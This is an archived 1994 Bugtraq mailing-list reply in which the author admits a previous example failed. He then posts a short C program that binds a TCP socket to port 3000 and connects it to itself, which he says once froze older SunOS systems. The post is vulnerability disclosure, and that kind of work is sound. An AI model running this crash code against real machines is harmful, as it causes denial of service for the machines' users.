[168] in bugtraq

home help back first fref pref prev next nref lref last post

Re: udp packet storms - ping death

daemon@ATHENA.MIT.EDU (Charles Howes)
Fri Nov 4 13:16:35 1994

Date: Fri, 4 Nov 1994 08:03:10 -0800 (PST)
From: Charles Howes <chowes@helix.net>
To: "Paul O'Donnell" <pod@morgan.com>
Cc: perry@imsi.com, bugtraq@fc.net
In-Reply-To: <199411040953.AA17963@tkis1.morgan.com>

On Fri, 4 Nov 1994, Paul O'Donnell wrote:
> Charles Howes reckons:

  *Red-face-causing example deleted*

> Hmmm, I get
> 
> mkdir: bar: No such file or directory
> 
> SunOS 4.1.3

I know, I should've tested it again.
The only other bug I have has been fixed on the latest versions of
SunOS (or so someone else tells me), but earlier versions froze solid:

(Dear code: Please, oh please crash something somewhere.  Death by
embarrassment is just too awful to contemplate.)

It used to crash SunOS, I *definitely* tested it about a year ago, and
this particular bug seems to have been quashed in a timely fashion.
---
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
 
int
main(argc, argv)
	int argc;
	char* argv[];
{
	int fd;
	struct sockaddr_in addr;
 
	if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		return 1;
	}
 
	memset((char *) &addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_ANY);
	addr.sin_port = htons(3000);
 
	if (bind(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
		perror("bind");
		return 1;
	}
 
	if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) ==
-1) {
		perror("connect");
		return 1;
	}
 
	printf("Ok.\n");
	return 0;
}

--
Charles Howes -- chowes@helix.net
 Always tell the truth, then you make it the other bloke's problem! 
 - Sean Connery, 1971   

home help back first fref pref prev next nref lref last post